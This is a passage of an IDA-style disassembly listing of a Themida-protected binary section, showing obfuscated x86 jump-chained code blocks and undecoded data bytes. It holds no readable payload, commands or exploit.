loc_555198:				; CODE XREF: Themida_:0055B84Dj
		mov	edx, 24h
		add	edx, edi
		jmp	loc_5543CA
; ---------------------------------------------------------------------------
aSQ		db '\é~Ÿ',0
		align 2


loc_5551AA:				; CODE XREF: Themida_:005562C8j
		push	esp
		pop	ecx
		push	ebx
		push	edx
		push	129F0486h
		jmp	loc_556E8F
; ---------------------------------------------------------------------------
		dd 24048B66h, 106768h, 24148900h, 0C2815A54h, 4, 7789E9h
		db 0
; ---------------------------------------------------------------------------


loc_5551D1:				; CODE XREF: Themida_:00556934j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1DB36B2Ah
		shl	edx, 3
		jmp	loc_55D468
; ---------------------------------------------------------------------------
		dd 0FF04C483h, 815A2434h, 4C4h,	0FC33000h, 6866C0B6h, 89664523h
		dd 0E2E92404h, 28FFFFE9h, 0AAE1E9C3h, 4310000h,	24043324h
		dd 3024248Bh, 0E99C2404h, 0FFFFE9C9h, 240C8B66h, 0A2A7E9h
		dd 243C8700h, 17B1E9h, 0C4835D00h, 8BFB0104h, 0C483243Ch
		dd 241C8704h, 0E924248Bh, 23EBh
; ---------------------------------------------------------------------------


loc_555244:				; CODE XREF: Themida_:0055A585j
		pop	esp
		jmp	loc_55B7E2
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48324h, 4C1815Fh, 51000000h, 42474FFh, 24048F59h
		dd 0E924248Bh, 0FFFFFB32h, 9D51E956h, 0D8010000h, 2404335Bh
		dd 5ECE9h, 80C2B200h, 0B7538ECAh, 88CF8009h, 80C1CF80h
		dd 0C78053E7h, 5BFA006Bh, 0E0E9CAFEh
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555297:				; CODE XREF: Themida_:0055D335j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55DF2A
; ---------------------------------------------------------------------------
		dw 5558h
		dd 9102E5BDh, 2911682Dh, 0C890000h, 0FD1FB924h,	0C581D26Eh
		dd 62383B42h, 0ED81CD01h, 62383B42h, 83240C8Bh,	0D20504C4h
		dd 11B760Fh, 7A0E9E8h, 315C0000h, 0E99C2404h, 0FFFFE905h
		dd 0C2885C34h, 97B558h,	0B5E95AD5h, 80000068h, 59668CC3h
		dd 1C8BD988h, 4C48324h,	4D2C4B04h, 9D8AE9h, 89F78900h
		dd 348B5FFAh, 4C48324h,	4EC81h,	65E90000h, 8B000008h, 83522424h
		dd 8DE904ECh, 0B2000072h, 0E3EA80DEh, 345AD088h, 5848E932h
		dd 0CF810000h, 4B26480Fh, 3A59EF81h, 0F92D074Bh, 17A6B3Eh
		dd 3EF905F8h, 15F7A6Bh,	96BD55D0h, 29441B41h, 555A5DE8h
		dd 146ED4BDh, 9E72E927h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555366:				; CODE XREF: Themida_:00559B1Cj
					; Themida_:0055A44Cj
		push	58BBh
		mov	[esp], ebx
		push	edi
		push	esi
		mov	esi, 554A5DC2h
		mov	edi, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	[esp+4], edi
		jmp	loc_558A54
; ---------------------------------------------------------------------------
		db 0C1h
		dd 743508E0h, 898E3824h, 24048BC7h, 0A30EE9h, 2474FF00h
		dd 84E95904h, 0FF0000A9h, 0F5E92434h, 57000068h, 9810E9h
		dd 0C8B6600h, 4C0CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5553BA:				; CODE XREF: Themida_:0055D3DAj
		push	eax
		push	34E4180Bh
		jmp	loc_55DCAA
; ---------------------------------------------------------------------------
		db 66h,	1, 4
		dd 16E99C24h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5553CF:				; CODE XREF: Themida_:0055DD3Bj
		xor	edx, 7E910720h
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	ebp
		jmp	loc_557142
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0A1h
		dd 813C0F66h, 63576EF6h, 5EF1015Dh, 268575Ah, 5F000000h
		dd 94E9F901h, 81FFFFF7h, 0E55F94F2h, 303DE9A8h,	0FFBB0000h
		dd 506E5F56h, 0B1AE92B8h, 58C689B4h, 815BDE01h,	27553EC6h
		dd 0BAE952F2h, 8100006Dh, 2ECh,	0C896600h, 4EC8124h, 89000000h
		dd 0E952241Ch, 25FEh, 0D12CD800h, 44006853h, 3AE90000h
		dd 55000077h, 2C79E9h
		db 0
; ---------------------------------------------------------------------------


loc_555455:				; CODE XREF: Themida_:005601D0j
		dec	esi
		xor	esi, 3B4926F6h
		mov	ebp, esi
		pop	esi
		push	1330h
		mov	[esp], ecx
		push	ebp
		jmp	loc_55C998
; ---------------------------------------------------------------------------


loc_55546D:				; CODE XREF: Themida_:005572AFj
		push	esi
		mov	esi, 4
		jmp	loc_55D524
; ---------------------------------------------------------------------------
		dd 36E9D801h, 0C0000064h, 0FA3407E0h, 2858C600h, 48685AF0h
		dd 89000038h, 0CAE9240Ch, 28000025h, 4B32CC8h, 0FF0FE984h
		dd 0E955FFFFh, 8252h, 904558BFh, 5CF7810Fh, 10F9045h, 243C8BFAh
		dd 0E904C483h, 0FFFFF81Ah
; ---------------------------------------------------------------------------


loc_5554C0:				; CODE XREF: Themida_:005562FFj
		sub	esi, eax
		jmp	loc_55DA36
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 0E9525824h, 0DF9h, 28B290B3h, 285BDA28h
		dd 1C20E9D0h, 4BB0000h,	29000000h, 6CE95BDEh, 83000085h
		dd 2E904C4h, 8B00007Bh,	0C481241Ch, 4, 4F56BF57h, 0DFF703DBh
		dd 4EFC14Fh, 0A792E9h, 2474FF00h, 48F5904h, 0C895C24h
		dd 81E18924h, 4C1h, 146FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55552A:				; CODE XREF: Themida_:00560302j
		push	eax
		mov	eax, 128C160Fh
		sub	ebx, eax
		jmp	loc_55B6F8
; ---------------------------------------------------------------------------
		db 81h
		dd 933EFFF3h, 64EB8161h, 8937231Ah, 5AE95BD8h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55554B:				; CODE XREF: Themida_:00555D4Aj
		add	esp, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_558105
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D1F704E9h, 81FFE983h, 6AB9E6C1h, 59CA3138h,	0EC2814Ah
		dd 892B6266h, 1D9AE9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555586:				; CODE XREF: Themida_:0055B80Fj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_555BFE
; ---------------------------------------------------------------------------
		dd 6804EF83h, 4F58h, 0FF243C89h, 0E9042474h, 2519h
; ---------------------------------------------------------------------------


loc_5555AC:				; CODE XREF: Themida_:00555F84j
		mov	ah, 76h
		and	ah, 0C6h
		dec	ah
		inc	ah
		add	ah, 18h
		add	bl, ah
		pop	eax
		jmp	loc_55DCA2
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 0FFFFF512h
; ---------------------------------------------------------------------------


loc_5555C8:				; CODE XREF: Themida_:005581DAj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_554304
; ---------------------------------------------------------------------------
		db 0FEh
aAiSZ		db 'ÀëÖéÀZ',0
		dd 24248B00h, 0E930FF66h, 0FFFFE5F9h, 0F706E0C1h, 0D5432DD0h
		dd 0C109EBB9h, 48AAE9h,	0C8B6600h, 4EC8124h, 0E9000000h
		dd 1123h, 0C181E189h, 4, 4E981h, 0C870000h, 24248B24h
		dd 0E9242489h, 1814h, 5D2434FFh, 5204C483h, 6904E9h, 81685900h
		dd 8900005Bh, 0E389241Ch, 0AB8E9h, 4C78100h, 87000000h
		dd 805C243Ch, 51500DC3h, 9977E9h
		db 0
; ---------------------------------------------------------------------------


loc_555659:				; CODE XREF: Themida_:00556DAFj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55843C
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 6E92404h, 81000048h,	2C7h, 0E680E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555676:				; CODE XREF: Themida_:0055E789j
		mov	[esp], esi
		pop	eax
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		push	esi
		push	4
		pop	esi
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_559499
; ---------------------------------------------------------------------------
		dd 5C243433h, 4AB0F66h,	32E99C24h, 66FFFFE5h, 94CC805Ah
		dd 8007E4C0h, 82E9FFECh, 66000044h, 6802B60Fh, 49B5h, 54240489h
		dd 8124048Bh, 4C4h, 0E6BB5300h,	81250B47h, 0CD2791F3h
		dd 7EBC107h, 0F381DBF7h, 0FFBA7344h, 685BD801h,	4199h
		dd 0BA241489h, 2, 505AD029h, 42474FFh, 0E924048Bh, 6C10h
		dd 0EFBBE981h, 1BE99FF6h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55571B:				; CODE XREF: Themida_:0055D765j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	420C248Eh
		pop	ebp
		shr	ebp, 8
		neg	ebp
		neg	ebp
		push	edi
		mov	edi, 15BC1D64h
		or	edi, 63FE2ECBh
		jmp	loc_559345
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_553BE5
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 4EE81h, 34870000h, 9EE95C24h,	89000065h
		dd 0F9215EF7h, 0E92434FFh, 0A97Fh, 0E932FF64h, 0FFFFF676h
		dd 64468h, 241C8900h, 815D5455h, 4C5h, 4BF5700h, 29000000h
		dd 57E95FFDh, 0FF000007h, 0C8B2434h, 5A545224h,	900E9h
		dd 0E9DA8900h, 405h, 0BB53E689h, 3477055Eh, 874EF387h
		dd 0C1CB81F3h, 8165FC46h, 0D6E74F3h, 0F0CCE949h, 0D768FFFFh
		dd 89000010h, 0E0892404h, 7BB3E956h, 0E1C00000h, 17E18002h
		dd 0E180D1F6h, 2FB3534Dh, 6866EBD0h, 1C280000h,	241C8A24h
		dd 5102C483h, 883CB450h, 8107E9E5h, 29590000h, 243C8BFEh
		dd 5C18E9h
		db 0
; ---------------------------------------------------------------------------


loc_555831:				; CODE XREF: Themida_:005572EFj
		mov	ecx, 29EE3D62h
		add	ecx, 2DB805F9h
		add	ecx, 5528222Fh
		sub	ecx, edx
		sub	ecx, 5528222Fh
		push	edi
		jmp	loc_55C7D6
; ---------------------------------------------------------------------------
		dd 0F1FAF681h, 4E97944h, 8000008Ah, 0F0281EF6h,	0FFE431E9h
		dd 240431FFh, 2ACEE9h, 5D354000h, 55CB908Ah, 694068h, 24148900h
		dd 0D589C289h, 8BEF895Ah, 0D6E9242Ch, 31000048h, 1C33241Ch
		dd 24248B24h, 240C8B66h, 0FFF84BE9h, 4C481FFh, 0E9000000h
		dd 5BBAh, 2B8h,	6630E900h, 0C7210000h, 3106E9h
		db 0
; ---------------------------------------------------------------------------


loc_5558B9:				; CODE XREF: Themida_:0056038Aj
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_55BC0E
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 2, 235FEA81h, 0CA012785h, 81E28952h,	4C2h, 0A898E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5558DE:				; CODE XREF: Themida_:00559BA9j
		pop	edi
		push	esi
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		jmp	loc_558C3C
; ---------------------------------------------------------------------------


loc_5558ED:				; CODE XREF: Themida_:0055EF20j
		add	ebx, 2FBD2739h
		jmp	loc_557614
; ---------------------------------------------------------------------------
		dd 0B5C38166h, 0EBC1667Dh, 664B6608h, 51D3F381h, 64F38166h
		dd 1F2D660Eh, 4D056660h, 0D801660Ah, 0A820E9h, 4EC8300h
		dd 0B5240C89h, 0D2C58026h, 9A60E9h, 240C8B00h, 4C481h
		dd 0C6830000h, 24348704h, 8B24248Bh, 0BFE92404h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555947:				; CODE XREF: Themida_:00553E51j
		mov	edi, 546729FEh
		sub	ebp, edi
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 296A31A2h
		add	ebp, eax
		jmp	loc_559ACD
; ---------------------------------------------------------------------------


loc_555964:				; CODE XREF: Themida_:00559B00j
		sub	edi, 5EBF5DC2h
		jmp	loc_55D050
; ---------------------------------------------------------------------------
		db 87h
		dd 27F781D7h, 9854D93h,	0D0F75FF8h, 5A22C325h, 3496E92Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555986:				; CODE XREF: Themida_:005573E4j
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_5566B7
; ---------------------------------------------------------------------------
		db 89h
		dd 8FE92404h, 89FFFFF4h, 168240Ch, 8B000000h, 4568240Ch
		dd 89000073h, 9B68240Ch, 8900000Ah, 4832424h, 81590424h
		dd 4C1h, 4C18300h, 81DBE951h, 3ABD0000h, 8143734Bh, 6D4A99EBh
		dd 69C38101h, 29311721h, 3B43E9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5559EE:				; CODE XREF: Themida_:00559439j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	eax
		push	ebx
		mov	bl, 0F0h
		jmp	loc_554639
; ---------------------------------------------------------------------------
		dd 1EE9E789h, 83000020h, 0C8904ECh, 0E980B124h,	0FFFFEB76h
; ---------------------------------------------------------------------------


loc_555A1C:				; CODE XREF: Themida_:00558C4Aj
		sub	edx, 235C74E5h
		dec	edx
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		jmp	loc_55B70B
; ---------------------------------------------------------------------------
aFrsfn		db 'fRéäN',0
		dd 0E9D80000h, 4101h, 362033BDh, 8FB0E922h, 0E95B0000h
		dd 427h, 74FF5258h, 18E90424h, 87FFFFE2h, 0E95C2414h, 8809h
; ---------------------------------------------------------------------------


loc_555A60:				; CODE XREF: Themida_:005570FDj
		xchg	esi, [esp]
		pop	esp
		pop	esi
		xor	esi, ecx
		jmp	loc_55A433
; ---------------------------------------------------------------------------
aHdiS		db 'hDI$-éÒ',8,0
		align 2
		dw 0D22Dh
		dd 0E91B760Fh, 0B9h, 0E7FEE958h, 0C609FFFFh, 10DCE9h, 0D3665C00h
		dd 0E99C240Ch, 0FFFFE14Dh, 0EF83DFF7h, 7EE9E901h, 1C8B0000h
		dd 4C48324h, 0A0C8E9h, 4EC8100h, 89000000h, 0A4B9240Ch
		dd 81149203h, 265758F1h, 3E1C17Bh, 2418E981h, 0C1815445h
		dd 0D6A27C39h, 3F9DE9h
		db 0
; ---------------------------------------------------------------------------


loc_555AD5:				; CODE XREF: Themida_:0055FF48j
		push	42FB2DCDh
		pop	ebx
		jmp	loc_556E52
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 4B85000h, 0E9000000h, 0FFFFE648h
; ---------------------------------------------------------------------------


loc_555AF4:				; CODE XREF: Themida_:0055E4BCj
		not	dword ptr [esp]
		pop	edx
		not	edx
		and	edx, 32F1010Dh
		neg	edx
		xor	edx, 0EF1EFEF7h
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_558E9F
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0E904EC83h, 95A6h, 3C1168h, 24048900h, 9A0CE9h
		dd 5FF88900h, 0A513E9h,	0C0835D00h, 74FF5002h, 48B0424h
		dd 4C48324h, 8B24048Fh,	8B662424h, 8956240Ch, 4C681E6h
		dd 81000000h, 4EEh, 24348700h, 71A1E95Ch, 34FF0000h, 2434FF24h
		dd 4C4815Fh, 83000000h,	0E95504C4h, 2C0Dh, 0E9243C89h
		dd 0A09Dh, 0F107C1BBh, 81DBF736h, 0EF83BF3h, 3BC6E9C9h
		dd 0C2810000h, 4, 4EC81h, 0C890000h, 2FAC6824h,	1C890000h
		dd 77BA5224h, 81084C3Bh, 4C3B75EAh, 5AD38908h, 89DA8952h
		dd 6F86E9D1h, 0C2810000h, 48595D88h, 5D06E9h, 0FA015B00h
		dd 8904EC83h, 4812404h,	0B4370024h, 53028F0Ch, 0B43700BBh
		dd 0E91A290Ch, 0BD3h, 3D2247B8h, 0EE00E97Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555BFE:				; CODE XREF: Themida_:00555593j
		mov	[esp], esi
		jmp	loc_55A891
; ---------------------------------------------------------------------------
aSlc		db '[éL—',0
		align 4


loc_555C0C:				; CODE XREF: Themida_:00559F61j
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55796A
; ---------------------------------------------------------------------------
		dd 885BDA88h, 0CA885AD1h, 2434FF59h, 4C48358h, 835AD030h
		dd 896602ECh, 0B3532414h, 4EC83F2h, 0B3241C89h,	8BDA882Bh
		dd 0AAE9241Ch
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555C4B:				; CODE XREF: Themida_:0055B5B9j
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_55C918
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E1895124h, 4C181h, 0E9810000h, 4, 4EC81h, 0F1E90000h
		dd 5F000049h, 0B2379005h, 16DFE950h, 68AD0000h,	0F30h
		dd 0BE243489h, 535118F3h, 34FFF001h, 2434FF24h,	4C4815Eh
		dd 56000000h, 0C681E689h, 4, 780EE9h, 24248B00h, 2424D366h
		dd 0DF2FE99Ch, 0BA52FFFFh, 648739C7h, 148BD321h, 4C48124h
		dd 81000000h, 3A1734C3h, 5BD829C6h, 7A05D801h, 5B2A4128h
		dd 6111BD55h, 0B42D49AFh, 0E96D8123h, 0FFFFE522h, 6624248Bh
		dd 8151F9F7h, 4ECh, 24248900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_553E85
; ---------------------------------------------------------------------------
		db 0B4h, 0C3h, 80h
		dd 0C4FE66ECh, 6464E9h,	5DEE2900h, 0C681DE01h, 26861E68h
		dd 2C6815Bh, 87000000h,	38E92434h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555D2F:				; CODE XREF: Themida_:00554559j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	eax, [esp]
		jmp	loc_55554B
; ---------------------------------------------------------------------------


loc_555D4F:				; CODE XREF: Themida_:00559DACj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_55CB02
; ---------------------------------------------------------------------------
aLWt_vsG	db '‹,$WT_Vé"£',0
		align 10h
		dd 240C8B66h, 80E95455h, 8700007Ch, 87D1F7CAh, 9E5E9CAh
		dd 248B0000h, 243CD324h, 0DE53E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555D92:				; CODE XREF: Themida_:0055972Cj
		push	esi
		jmp	loc_55CFEC
; ---------------------------------------------------------------------------
		dd 1BA1E981h, 2E681F75h, 89000015h, 0C8BD242Ch,	294FBD15h
		dd 0F498E9E9h, 5268FFFFh, 5B74FD0Bh, 2CCCEB81h,	0DBF71D02h
		dd 8102E3C1h, 0F828BDEBh, 5BDE8949h, 29F2E9h, 4EC8300h
		dd 54241489h, 8324148Bh, 0C28104C4h, 4,	2C281h,	0DEE90000h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555DEF:				; CODE XREF: Themida_:0055ADD8j
		sub	esp, 4
		mov	[esp], ebx
		add	dword ptr [esp], 0FFFFFFFFh
		jmp	loc_5560C3
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
aHcd		db '\hcd',0
		align 2
		dw 1489h
		dd 0E9E28924h, 487Fh, 8103E6C1h, 0C2B7DCEh, 0EDF68133h
		dd 99B582Ch, 515AE9F2h,	0D4F60000h, 5866E688h, 80FBEE80h
		dd 0F38806F6h, 14BE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555E3E:				; CODE XREF: Themida_:00556987j
		mov	edx, 6C7D5473h
		sub	[esp+8], edx
		jmp	loc_55EDDB
; ---------------------------------------------------------------------------
		dd 0E9240C87h, 9495h, 0E9595451h, 5220h
; ---------------------------------------------------------------------------


loc_555E5C:				; CODE XREF: Themida_:00558887j
		pop	ecx
		sub	ecx, 0AC008522h
		jmp	loc_55C332
; ---------------------------------------------------------------------------
aBq?ulsqi	db 'ïÖ?ULéqi',0
		dw 3300h
a41434LSix	db '4$14$34$‹$$éiX',0
		align 4


loc_555E84:				; CODE XREF: Themida_:00558BBCj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_55ABF6
; ---------------------------------------------------------------------------
		dd 288645Ch, 0FFDD4CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555E99:				; CODE XREF: Themida_:0055CE23j
		add	edx, 4EC42297h
		jmp	loc_553E1E
; ---------------------------------------------------------------------------
		dd 0E95FFD29h, 18Ah, 0E953D231h, 27C6h,	0C8BCE88h, 4C48324h
		dd 7788595Bh, 2434FF28h, 8124148Bh, 4C4h, 4C48300h, 0FFDD10E9h
		dd 2434FFFFh, 0E92434FFh, 612Ah, 75D5C281h, 0BD556CCBh
		dd 688A3946h, 47F0E9h, 4EC8300h, 0E9241C89h, 1CE0h
; ---------------------------------------------------------------------------


loc_555EFC:				; CODE XREF: Themida_:0055A682j
		sub	ecx, 55132BFAh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0
		jmp	loc_55AEF0
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 4895C24h, 2434FF24h,	83241C8Bh, 895304C4h, 325E9E3h
		dd 0D6890000h, 58C6315Ah, 3C8BFE31h, 4C48324h, 4E08EEC1h
		dd 5607EEC1h, 8126E9h, 0E9414100h, 4376h, 0D9A3EE81h, 0F0312366h
		dd 7534E95Eh, 0D8340000h, 48BC128h, 4C48324h, 8004E1C0h
		dd 8853EBC1h, 5BFE88CFh, 4D1DE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555F76:				; CODE XREF: Themida_:00556FEAj
		push	bx
		mov	bl, 0C7h
		sub	al, 4Ch
		sub	al, bl
		add	al, 4Ch
		pop	bx
		pop	edx
		push	eax
		jmp	loc_5555AC
; ---------------------------------------------------------------------------
		db 0C0h, 0EBh, 6
		dd 86CE9h, 9C506600h, 0FFDC4CE9h, 7BE95AFFh
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555F9F:				; CODE XREF: Themida_:0055D772j
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55DC75
; ---------------------------------------------------------------------------
		db 0F6h, 0D1h, 80h
		dd 0E9803CE9h, 59C8281Bh, 0B652F028h, 71CBE956h, 0FF510000h
		dd 8B042474h, 51E9240Ch, 33FFFFE0h, 0C31240Ch, 73EBE924h
		dd 0E7890000h, 4C781h, 0C7830000h, 243C8704h, 705BE9h
		dd 81DF2900h, 0C4732FEFh, 3C875B6Ch, 24248B24h,	3AA3E9h
		dd 2EAC100h, 5605E2C1h,	4A002ABEh, 0FE02E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556012:				; CODE XREF: Themida_:005594B4j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_55DA6A
; ---------------------------------------------------------------------------
		dd 0DBAFE95Fh, 0EF01FFFFh, 0FFE025E9h, 243C33FFh, 2612E95Ch
		dd 5F580000h, 6CF868h, 24348900h, 4EC81h, 1C890000h, 56F8BB24h
		dd 0E95144CCh, 762Dh
; ---------------------------------------------------------------------------


loc_556064:				; CODE XREF: Themida_:00557F43j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_556DB4
; ---------------------------------------------------------------------------


loc_55606D:				; CODE XREF: Themida_:005566D2j
		pop	ebp
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_55B392
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 0DEh
		dd 0D9E68166h, 0E6C16610h, 0EE816602h, 296641DDh, 51E95EF0h
		dd 2900002Fh, 2957E9CDh, 875A0000h, 0E95C2434h,	0FFFFF903h
; ---------------------------------------------------------------------------


loc_5560A4:				; CODE XREF: Themida_:0055AE99j
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_55F852
; ---------------------------------------------------------------------------


loc_5560C3:				; CODE XREF: Themida_:00555DFCj
		pop	ebx
		jmp	loc_55AB85
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 51000000h, 0D5515A68h, 5F685965h, 89000030h,	4FF240Ch
		dd 0D9F75924h, 0AEA1F181h, 0EA819A2Ah, 4604378Dh, 6464BB53h
		dd 0D3F75113h, 4100E9h,	4C38100h, 57000000h, 9CEEE9h
		db 0
; ---------------------------------------------------------------------------


loc_556109:				; CODE XREF: Themida_:0055ABF7j
		mov	ecx, [esp]
		jmp	loc_556CC3
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
aVsri		db 'Vér‰',0
		align 2


loc_55611A:				; CODE XREF: Themida_:00558EB9j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5562C1
; ---------------------------------------------------------------------------


loc_55612B:				; CODE XREF: Themida_:005541AEj
		add	edx, 0B5B4357h
		jmp	loc_55BC75
; ---------------------------------------------------------------------------
aVqrss		db 'VQRé‘^',0
		align 2
		dw 0DF29h
		dd 92EF815Bh, 1561066h,	92C781F7h, 81561066h, 3014FAC7h
		dd 3C875E26h, 24248B24h, 0FFDA84E9h, 0E95352FFh, 1209h
		dd 9FAF381h, 81591399h,	0A51DF9C3h, 0FCC38101h,	0E9D6C8BFh
		dd 9585h
; ---------------------------------------------------------------------------


loc_556180:				; CODE XREF: Themida_:005571C4j
		push	911h
		jmp	loc_553EEB
; ---------------------------------------------------------------------------
		dd offset dword_534058+110h
		dw 0E900h
		dd 0FFFFF80Bh
; ---------------------------------------------------------------------------


loc_556194:				; CODE XREF: Themida_:00556CD9j
		push	edi
		mov	edi, 617B123Fh
		xor	[esp+4], edi
		pop	edi
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55E593
; ---------------------------------------------------------------------------
		dd 2474FF53h, 48F5B04h,	0D8E95C24h, 500002Ch, 104459Ah
		dd 0C3E9h, 32702D00h, 0E0C12FE4h, 72063503h, 0C1210FC1h
		dd 89ADE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5561D6:				; CODE XREF: Themida_:0055C86Dj
		add	esp, 4
		add	esi, 1F2900CBh
		dec	esi
		sub	esi, 50ED529Bh
		sub	esi, 0E8BDD5F7h
		add	eax, esi
		jmp	loc_55DF84
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0EC835824h, 24048904h, 24048B54h, 4C481h, 0BF570000h
		dd 4, 5D541705h, 4F77E97Ah, 5EBF0000h, 2965F801h, 5A0DE9FBh
		dd 0E9540000h, 56E8h, 0E902E5C1h, 83D5h, 0E9D830ACh, 6843h
; ---------------------------------------------------------------------------


loc_55623C:				; CODE XREF: Themida_:0055DFB0j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 38876B6Fh
		shl	esi, 8
		jmp	loc_55F489
; ---------------------------------------------------------------------------
		db 51h
		dd 4B9h, 59CB0100h, 2911E9h, 14895C00h,	51BB5324h, 0C15DFA30h
		dd 0D3F708E3h, 382FF381h, 0C381386Dh, 0C25D6934h, 15BDA89h
		dd 0E9575AD5h, 1D60h, 2361D2Dh,	0E0C14035h, 6FA30503h
		dd 0C301C041h, 4EC8158h, 89000000h, 0DE9243Ch, 0B3FFFFE6h
		dd 7F7FE9F8h, 9FB80000h, 0E94F080Ah, 4767h
; ---------------------------------------------------------------------------


loc_5562B4:				; CODE XREF: Themida_:0055ABDDj
		push	edi
		mov	edi, 12FD21D4h
		add	edx, edi
		jmp	loc_556AAA
; ---------------------------------------------------------------------------


loc_5562C1:				; CODE XREF: Themida_:00556126j
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_5551AA
; ---------------------------------------------------------------------------
		db 54h,	5Ah, 0E9h
		dd 1C3Fh, 2072E958h, 248B0000h,	0C83B6624h, 84E3E99Ch
		dd 0C0830000h, 24048704h, 0D8F3E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5562F2:				; CODE XREF: Themida_:00554687j
		add	esp, 4
		inc	esi
		push	eax
		mov	eax, 0FB50E86h
		jmp	loc_5554C0
; ---------------------------------------------------------------------------
		dd 24348B5Fh, 8704C483h, 73E92414h, 81FFFFFAh, 8C2F33C2h
		dd 0A1BF572Eh, 4724584Bh, 700E9h, 0C2095900h, 2768E2D1h
